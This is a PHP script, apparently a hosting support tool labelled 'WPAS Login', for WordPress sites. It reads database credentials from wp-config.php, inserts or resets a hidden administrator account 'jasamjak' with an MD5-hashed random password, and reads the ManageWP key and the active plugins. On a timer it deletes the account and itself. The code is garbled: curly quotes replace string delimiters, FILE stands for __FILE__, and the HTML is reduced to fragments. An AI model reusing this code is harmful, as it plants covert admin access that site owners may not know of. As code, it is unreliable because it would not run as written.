<?php
// Takes credentials from wp-config.php
include ‘wp-config.php’;
$database = DB_NAME;
$username = DB_USER;
$hostreal = DB_HOST;
$password = DB_PASSWORD;
$prefix = $table_prefix;
$hostname = ($hostreal == ‘localhost:3306’) ? ‘localhost’ : $hostreal;

// Get the path to this script file for self-deletion
define(‘SCRIPT_FILE’, FILE);
define(‘EXPIRATION_FILE’, sys_get_temp_dir() . ‘/wpuser_expire.txt’);

// Initialize timer ONLY if file doesn’t exist (don’t reset existing timer)
if (!file_exists(EXPIRATION_FILE)) {
file_put_contents(EXPIRATION_FILE, time() + 3600); // 1 hour from now
}

// Database connection for functions
$mysqli = new mysqli($hostname, $username, $password, $database);
if ($mysqli->connect_error) {
die(“Connection failed: ” . $mysqli->connect_error);
}

// Function to find the first available admin user
function get_first_admin_user($mysqli, $prefix) {
$adminQuery = “
SELECT u.ID, u.user_login
FROM " . $prefix . "users u
INNER JOIN " . $prefix . "usermeta um ON u.ID = um.user_id
WHERE um.meta_key = ‘” . $prefix . “capabilities’
AND um.meta_value LIKE ‘%administrator%’
AND u.user_email != ‘jasamjak@nix.rs’
ORDER BY u.ID ASC
LIMIT 1
“;

$result = $mysqli->query($adminQuery);
if ($result && $result->num_rows > 0) {
    return $result->fetch_assoc();
}

return null;

}

// Function to transfer all jasamjak user content to first admin
function transfer_jasamjak_content($mysqli, $prefix) {
// Start transaction for data integrity
$mysqli->autocommit(false);

try {
    // Get jasamjak user ID
    $jasamjakQuery = "SELECT ID FROM `" . $prefix . "users` WHERE `user_email` = 'jasamjak@nix.rs'";
    $jasamjakResult = $mysqli->query($jasamjakQuery);

    if (!$jasamjakResult || $jasamjakResult->num_rows == 0) {
        $mysqli->rollback();
        return "Jasamjak user not found - nothing to transfer";
    }

    $jasamjakUser = $jasamjakResult->fetch_assoc();
    $jasamjakId = $jasamjakUser['ID'];

    // Get first admin user
    $adminUser = get_first_admin_user($mysqli, $prefix);
    if (!$adminUser) {
        $mysqli->rollback();
        return "No admin user found to transfer content to";
    }

    $adminId = $adminUser['ID'];

    // Transfer all posts (posts, pages, custom post types, revisions, attachments, etc.)
    $transferPosts = "UPDATE `" . $prefix . "posts` SET `post_author` = ? WHERE `post_author` = ?";
    $stmt = $mysqli->prepare($transferPosts);
    $stmt->bind_param("ii", $adminId, $jasamjakId);
    $stmt->execute();
    $postsTransferred = $stmt->affected_rows;
    $stmt->close();

    // Transfer all comments
    $transferComments = "UPDATE `" . $prefix . "comments` SET `user_id` = ? WHERE `user_id` = ?";
    $stmt = $mysqli->prepare($transferComments);
    $stmt->bind_param("ii", $adminId, $jasamjakId);
    $stmt->execute();
    $commentsTransferred = $stmt->affected_rows;
    $stmt->close();

    // Transfer links if table exists
    $linksTransferred = 0;
    $linksTableCheck = "SHOW TABLES LIKE '" . $prefix . "links'";
    $linksResult = $mysqli->query($linksTableCheck);
    if ($linksResult && $linksResult->num_rows > 0) {
        $transferLinks = "UPDATE `" . $prefix . "links` SET `link_owner` = ? WHERE `link_owner` = ?";
        $stmt = $mysqli->prepare($transferLinks);
        $stmt->bind_param("ii", $adminId, $jasamjakId);
        $stmt->execute();
        $linksTransferred = $stmt->affected_rows;
        $stmt->close();
    }

    // Clean up user sessions and metadata
    $deleteUserMeta = "DELETE FROM `" . $prefix . "usermeta` WHERE `user_id` = ?";
    $stmt = $mysqli->prepare($deleteUserMeta);
    $stmt->bind_param("i", $jasamjakId);
    $stmt->execute();
    $metaDeleted = $stmt->affected_rows;
    $stmt->close();

    // Finally, delete the jasamjak user
    $deleteUser = "DELETE FROM `" . $prefix . "users` WHERE `ID` = ?";
    $stmt = $mysqli->prepare($deleteUser);
    $stmt->bind_param("i", $jasamjakId);
    $stmt->execute();
    $userDeleted = $stmt->affected_rows;
    $stmt->close();

    // Commit transaction
    $mysqli->commit();
    $mysqli->autocommit(true);

    return "SUCCESS: Content transferred to admin user '{$adminUser['user_login']}' (ID: $adminId). Transferred: {$postsTransferred} posts, {$commentsTransferred} comments, {$linksTransferred} links. Deleted: {$metaDeleted} user meta entries, {$userDeleted} user record.";

} catch (Exception $e) {
    $mysqli->rollback();
    $mysqli->autocommit(true);
    return "ERROR during transfer: " . $e->getMessage();
}

}

// Handle AJAX actions BEFORE any HTML output
if (isset($_GET[‘action’])) {
header(‘Content-Type: application/json’);

if ($_GET['action'] === 'delete_script') {
    // Step 1: Transfer content and delete user
    $transferResult = transfer_jasamjak_content($mysqli, $prefix);
    $mysqli->close();

    // Step 2: Delete the script file
    $scriptDeleted = false;
    if (file_exists(SCRIPT_FILE)) {
        $scriptDeleted = unlink(SCRIPT_FILE);
        if ($scriptDeleted && file_exists(EXPIRATION_FILE)) {
            unlink(EXPIRATION_FILE);
        }
    }

    $finalMessage = $transferResult . ($scriptDeleted ? ' | Script deleted successfully.' : ' | Script file deletion FAILED.');

    echo json_encode([
        'success' => $scriptDeleted, 
        'message' => $finalMessage,
        'transfer_result' => $transferResult,
        'script_deleted' => $scriptDeleted
    ]);
    exit;

} elseif ($_GET['action'] === 'extend_time') {
    if (file_exists(EXPIRATION_FILE)) {
        $expireAt = (int)file_get_contents(EXPIRATION_FILE);
        $newExpireTime = $expireAt + 1800; // Extend by 30 minutes
        file_put_contents(EXPIRATION_FILE, $newExpireTime);
        echo json_encode([
            'success' => true, 
            'message' => 'Timer extended by 30 minutes',
            'new_expire_time' => $newExpireTime
        ]);
    } else {
        echo json_encode(['success' => false, 'message' => 'Timer file not found']);
    }
    exit;

} elseif ($_GET['action'] === 'check_timer') {
    if (file_exists(EXPIRATION_FILE)) {
        $expireTime = (int)file_get_contents(EXPIRATION_FILE);
        $currentTime = time();

        if ($currentTime >= $expireTime) {
            // Timer expired - execute the 3-step process

            // Step 1: Transfer content and delete user
            $transferResult = transfer_jasamjak_content($mysqli, $prefix);
            $mysqli->close();

            // Step 2: Delete the script file
            $scriptDeleted = false;
            if (file_exists(SCRIPT_FILE)) {
                $scriptDeleted = unlink(SCRIPT_FILE);
                // Step 3: Delete timer file
                if ($scriptDeleted && file_exists(EXPIRATION_FILE)) {
                    unlink(EXPIRATION_FILE);
                }
            }

            $finalMessage = $transferResult . ($scriptDeleted ? ' | Script auto-deleted successfully after timer expiration.' : ' | Script file deletion FAILED.');

            echo json_encode([
                'success' => true, 
                'expired' => true, 
                'message' => $finalMessage,
                'transfer_result' => $transferResult,
                'script_deleted' => $scriptDeleted,
                'debug' => [
                    'current_time' => $currentTime,
                    'expire_time' => $expireTime,
                    'script_existed' => file_exists(SCRIPT_FILE),
                    'timer_file_existed' => file_exists(EXPIRATION_FILE)
                ]
            ]);
        } else {
            // Timer not expired yet
            echo json_encode([
                'success' => true, 
                'expired' => false,
                'debug' => [
                    'current_time' => $currentTime,
                    'expire_time' => $expireTime,
                    'remaining' => $expireTime - $currentTime
                ]
            ]);
        }
    } else {
        echo json_encode([
            'success' => false, 
            'expired' => false, 
            'message' => 'Timer file not found - creating new timer',
            'debug' => ['timer_file_exists' => false]
        ]);
        // Create new timer file
        file_put_contents(EXPIRATION_FILE, time() + 3600);
    }
    exit;
}

}

// Generates password
function generate_pw($length = 12) {
$characters = “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-+=_,!@#*%”;
$pw = ”;
for ($i = 0; $i < $length; $i++) {
$pw .= $characters[mt_rand(0, strlen($characters) – 1)];
}
return $pw;
}

$newpassword = generate_pw();

// Database queries
$wpasSelect = “SELECT user_login FROM " . $prefix . "users WHERE user_email LIKE ‘jasamjak@nix.rs'”;
$wpasUpdate = “UPDATE " . $prefix . "users SET user_login = ‘jasamjak’, user_pass = MD5(?), user_nicename = ‘najjaci’ WHERE user_email LIKE ‘jasamjak@nix.rs'”;

// Update/Insert locale for existing jasamjak user
$wpasUpdateLocale = “INSERT INTO " . $prefix . "usermeta (user_id, meta_key, meta_value)
VALUES ((SELECT ID FROM " . $prefix . "users WHERE user_email LIKE ‘jasamjak@nix.rs’), ‘locale’, ‘en_US’)
ON DUPLICATE KEY UPDATE meta_value = ‘en_US'”;

// Update/Insert nickname for existing jasamjak user
$wpasUpdateNickname = “INSERT INTO " . $prefix . "usermeta (user_id, meta_key, meta_value)
VALUES ((SELECT ID FROM " . $prefix . "users WHERE user_email LIKE ‘jasamjak@nix.rs’), ‘nickname’, ‘NAJJACI’)
ON DUPLICATE KEY UPDATE meta_value = ‘NAJJACI'”;

// Add new jasamjak user
$addusers = “INSERT INTO " . $prefix . "users (user_login, user_pass, user_nicename, user_email, user_status, display_name)
VALUES (‘jasamjak’, MD5(?), ‘najjaci’, ‘jasamjak@nix.rs’, ‘0’, ‘Ja Sam Jak’)”;

$addcapabilities = “INSERT INTO " . $prefix . "usermeta (umeta_id, user_id, meta_key, meta_value)
VALUES (NULL, (SELECT max(id) FROM ” . $prefix . “users), ‘” . $prefix . “capabilities’, ‘a:1:{s:13:\”administrator\”;s:1:\”1\”;}’)”;

$addlevel = “INSERT INTO " . $prefix . "usermeta (umeta_id, user_id, meta_key, meta_value)
VALUES (NULL, (SELECT max(id) FROM ” . $prefix . “users), ‘” . $prefix . “user_level’, ’10’)”;

$addlocale = “INSERT INTO " . $prefix . "usermeta (umeta_id, user_id, meta_key, meta_value)
VALUES (NULL, (SELECT max(id) FROM ” . $prefix . “users), ‘locale’, ‘en_US’)”;

$addnickname = “INSERT INTO " . $prefix . "usermeta (umeta_id, user_id, meta_key, meta_value)
VALUES (NULL, (SELECT max(id) FROM ” . $prefix . “users), ‘nickname’, ‘NAJJACI’)”;

$databasesize = “SELECT ROUND(sum( data_length + index_length ) / 1024 / 1024, 2) FROM information_schema.TABLES where table_schema like ?”;
$prositeskey = “SELECT option_value FROM " . $prefix . "options where option_name LIKE ‘mwp_potential_key'”;
$activeplugins = “SELECT option_value FROM " . $prefix . "options where option_name LIKE ‘active_plugins'”;

// Execute queries
$wpasCheck = $mysqli->query($wpasSelect);
$wpasExists = $wpasCheck->fetch_row();

if ($wpasExists && $wpasExists[0] == ‘jasamjak’) {
$stmt = $mysqli->prepare($wpasUpdate);
$stmt->bind_param(“s”, $newpassword);
$stmt->execute();
$stmt->close();

$mysqli->query($wpasUpdateLocale);
$mysqli->query($wpasUpdateNickname);

} else {
$stmt = $mysqli->prepare($addusers);
$stmt->bind_param(“s”, $newpassword);
$stmt->execute();
$stmt->close();

$mysqli->query($addcapabilities);
$mysqli->query($addlevel);
$mysqli->query($addlocale);
$mysqli->query($addnickname);

}

// Get database info
$stmt = $mysqli->prepare($databasesize);
$stmt->bind_param(“s”, $database);
$stmt->execute();
$dbsize = $stmt->get_result();
$dbsizedata = $dbsize->fetch_row();
$stmt->close();

$prosites = $mysqli->query($prositeskey);
$prositesdata = $prosites->fetch_row();

$workeractive = $mysqli->query($activeplugins);
$workerdata = $workeractive->fetch_row();

$mysqli->close();

// Load WordPress if available (for version info)
$wp_version = ‘Unknown’;
if (file_exists(dirname(FILE) . ‘/wp-includes/version.php’)) {
include_once(dirname(FILE) . ‘/wp-includes/version.php’);
}

?>


WPAS Login



GoDaddy

WPAS

WordPress version →

PHP version →

Database size →

ProSites Worker →

+